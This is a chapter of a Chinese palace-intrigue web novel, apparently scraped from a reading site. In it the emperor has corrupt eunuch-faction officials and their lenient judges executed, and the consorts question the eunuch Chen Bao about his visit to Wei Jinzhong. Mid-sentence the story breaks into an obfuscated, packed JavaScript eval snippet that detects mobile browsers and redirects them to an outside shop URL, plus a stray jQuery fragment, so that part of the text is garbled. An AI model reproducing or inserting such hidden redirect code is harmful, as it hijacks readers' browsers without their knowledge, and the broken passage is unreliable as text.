88. 十人全杀
作品:《亡国前和陛下HE了》 早朝时沈确虽困乏不已,发出的命令却不是随意为之。
刘若愚招供了不少,先帝崩逝的真相只是其一,在赵景明的严刑拷打之下,他吐了个干干净净,将魏进忠手底下的心腹五虎五彪及他们犯了哪些事一一抖落了出来。先帝的事属于皇家秘辛,自然是过不了明面了,但这五虎五彪倒是值得一审。
只是由谁来审这十人也是有讲究,沈确本来不知道由谁主审能让此事发挥出最大的作用,陈宝的名单倒是给他提了醒。
刑部尚书苏迁、都察院左都御史曹文都是朝中正二品的高官,他们隐蔽极深,竟瞒过了宁昱德的眼。
刑部专职大梁的司法和刑狱,而都御史职专纠劾百司,辩明是非,提督各道,为天子耳目风纪之司,如今却都出了个身为阉党的头目,何其荒谬。
沈确安排苏迁与曹文审理五虎五彪之案,便是要看看这阉党审阉党,能审出怎么一出好戏。如今局势分明,这二人又官职甚重,他们若是公平审理,沈确并不介意再留他们几年将功赎罪,可若是他们一条道走到黑,也勿言他没有给过他们机会。
结果不尽如人意,苏迁与曹文看似秉公执法,却仍是偏帮阉党。这十人除了贪污枉法,还有杀人等恶行,他们却只是判了三人入狱,七人罢官。
大梁从来没有如此轻判的先例,沈确第一次知道在这些恬不知耻的阉党面前,大梁律法竟是笑话。
若是寻常百姓,致人身亡,斩;伤而未死,绞;谋而未动,杖。至于从犯,重至绞刑个、流放,轻至杖刑、入狱。
律法如此,判决却非如此。此案中杀人的三人只是入狱,竟比寻常的从犯判得还轻,而免官的七人更是毫发无伤,功成身退。
沈确得知了苏、曹二人的判决,不觉冷笑,大梁便是有这些人身居高位却徇私护短,这才使得吏治污浊,蛇鼠一窝。
他虽愤懑,语气却不带一丝感情:“传令下去,刑部尚书苏迁、都察院左都御史曹文,斩。”
冯玉听得皇上一声“斩”,身子一震,忙应下出殿传旨。
涉案的十人尚未正式判决,审案的两位正二品高官却直接被判了斩首之刑,朝中诸人听得皇上如此杀伐果决,不由地都心中一寒,越发觉得皇上狠决,半点得罪不得。
主审的二人虽斩,案子却仍需审下去,沈确继而下令由内阁首辅周青主审,又着太师宁昱德在旁监审。
宁昱德接到圣意便明白了皇上的用意。阉党审阉党已得出不可行,既然阉党敬酒不吃吃罚酒,那便让清流审阉党。周青身为清流之首,受阉党掣肘已久,就算不为自己,为了清流一派的旧仇,也会趁此机会清查,对阉党赶尽杀绝。
至于宁昱德,便是以皇上与帝党的立场监视清流调查阉党的全程,防止清流为了私欲或党争,攻击政敌,强加罪名。
周青得了皇上调查阉党的命令,心想终于到了报仇雪恨的时机,只是尚不清楚皇上希望他将此案办到如何力度。既揣测不出圣意,决断便有些难做,判得太清说不定会沦落到苏、曹二人一般身首异处的地步,若是判得太重,又有党争之嫌,如此为难间,周青做了一个折中的决定。
士大夫最懂中庸,办事也是留有余地,不温不火。沈确看着周青呈上来的判决,心中并不是滋味。
这朝中不是官官相护便是迂回做人,竟没有一个敢大刀阔斧办实事的。
沈确问起宁昱德的意思,宁昱德只道:“周阁老面面俱到。”
为官这么多年,周青处事自然圆滑揪不出错处,宁昱德对他的评价并不错,只是沈确不满意:“宁太师以为应当如何判决?”
“微臣不敢断言。”宁昱德答道,“只是以微臣对皇上的了解,对这十人只怕是恨之入骨,将欲诛之。”
这并不是宁昱德凭着对沈确的了解妄加猜测,而是他没有忘记沈确之前说的“斩草除根”、“有一百杀一百,有一万杀一万”此类的言论,故而相信他诛灭阉党的决心。
沈确点了点头,宁昱德猜中了他的意思,这十人在魏进忠手下为虎作伥,是阉党的核心人物。他们若是不杀,又谈何清算阉党。
他心中已有成算,但仍是对宁昱德一笑,问道:“宁太师不会觉得朕这般做太过狠决?都说穷寇莫追,若是将阉党赶尽杀绝,是否会给他们反扑的决心?”
“阉党气数已尽,微臣看不出他们有任何反扑的机会,只是穷寇莫追,话虽说得没错,只是眼下清算才刚刚开始,正是杀一儆百的时候,实在算不得穷寇。”宁昱德分析道。
宁昱德一番话说得沈确安心,他深以为然,旋即向周青下了令。
周青收到圣意,将涉案十人全部处以斩刑。除此之外,皇上还命他与新上任的刑部尚书孙琰继续清查朝中阉党,仍是由太师宁昱德监审。
皇上说杀,那自然要杀。周青虽惊讶于皇上斩尽杀绝的雷霆手段,心中却也是快意,立即安排下去将十个阉狗送上刑场。
另一头,温弘载也终于从江南传来了好消息,他收集魏进忠的罪状收获颇丰,目前已到了收尾阶段,不日便可以清算魏进忠。
阉党节节败退,沈确在朝堂上打了胜仗自然高兴,饶是他多喜怒不形于色,眉宇间也是一派舒展之意。
魏进忠被陈宝摆了一道,他手下隐蔽已久的苏迁与曹文均已被揪出诛杀,如此损兵折将,他对陈宝恨得咬牙切齿,坐等着看他能有什么好下场。
陈宝的处境的确艰难,他虽帮助皇上铲除了苏、曹两个身居高位的阉党,却如他所想,轻而易举地便被皇上查出了他曾前往魏府一事。
此事非比寻常,沈确得知便前往清辉殿找李徽月说明,到了殿门口才意识到午后她应当是在寿康宫才是。
待沈确到了寿康宫,陈宝侍立在殿外,见了圣驾忙进去通传,却被冯玉拦住。沈确径直进了殿内,冯玉则与陈宝一道等在殿外。
陈宝总觉得冯玉瞧他的眼神带着探寻与监视,心中有些不自在,但碍于冯玉的身份也不好说什么。
李徽月正解着账本的疑难,一筹莫展地挠着头,杜青眉倒是气定神闲,悠悠地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173945|189002||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看着她解答。一旁的虞绮罗与宁蕊则静静地看着书,沈确看着殿内的情形,恍惚间仿佛又回到了儿时与兄弟们一道上学的日子,忽的怀念起来。
杜青眉率先察觉到了沈确的到来,放下茶盏向他行礼,众人这才反应过来,纷纷见礼。
沈确手一挥叫众人不必拘束,随意拣了张椅子便坐下。她们几人聚在一处正好,毕竟陈宝是寿安宫的首领太监,与诸人的关系也近,难免多有交集。
“这两日我着人查了陈宝。”沈确开门见山道。
李徽月不知为何,将心提到了嗓子眼,却听得沈确说:“前几日陈宝出宫采买,途中去了魏府,见过魏进忠。”
殿中死一般的沉默,尤其是李徽月与宁蕊不愿接受这一事实,却又不知该如何为陈宝辩驳。
“可知陈宝见了魏进忠多久?”杜青眉问道。
“半个时辰。”沈确答得简洁。
“如此短的时间,他们并不足以商量什么。”李徽月忍不住替陈宝解释。
“我们在殿中为他争辩无用,不如将他传进来当面锣对面鼓地对质,也好让他自己说说清楚。”虞绮罗提议道。
虞绮罗的建议并不是不好,只是若传陈宝便是摆明了怀疑他,李徽月有些不愿,宁蕊也觉着不太妥当:“陈宝心思深,如此对待他,只怕他会以为我们不信任他,反倒不好。”
引人怀疑是魏进忠惯用的伎俩,李徽月便吃过他这一招,惊于他的工于心计,附和宁蕊道:“若我们怀疑陈宝,只怕正中魏进忠的下怀。”
可若不审问陈宝,如何得知当日发生了什么,虞绮罗性子直,反驳道:“不论今日问与不问,大家心中也早已怀疑陈宝,他总会发现。更何况,他自知受过魏进忠养育,应当自觉易惹上嫌疑,既见了魏进忠应当主动坦白才是。”
沈确在一旁不作声,全凭她们商议决定。殿中其他人听虞绮罗如此说,便也不好再说什么。怀疑早已埋下,是隐忍不发还是痛快坦白,也许还是后者利索,长痛不如短痛。
既将陈宝带了上来,也直截了当地问起他为何去了魏府,陈宝立即跪伏,终于还是到了这时候。
他自然知道以自己的出身易引人怀疑,只是骤然被盘问,心中还是有些散不去的难过,脑海中魏进忠的话语如鬼魅一般飘荡,仿佛在他的耳边炸响,他觉得心已撞坏,浑身都失了力气。
你以为你真能洗去魏进忠养子的名头,从此干干净净做人?
人心的成见比你想象的更深更重,你真以为她们会信你?
我们是奴才,奴才有奴才的活法,永远不可能像主子一般活着。
陈宝猛地眨了眨眼,将魏进忠的话语抛在脑后,收拾了收拾涌上来的情绪,忍住一腔的酸涩,向殿中诸人陈情:“回禀各位主子,奴才去魏府是去与魏进忠恩断义绝的。”
陈宝的回应在众人的意料之中,不论他是真心还是假意,都会如此回答。
杜青眉却想起当初悬而未决的事,开口问陈宝道:“魏进忠为何会得知陈实一事?”

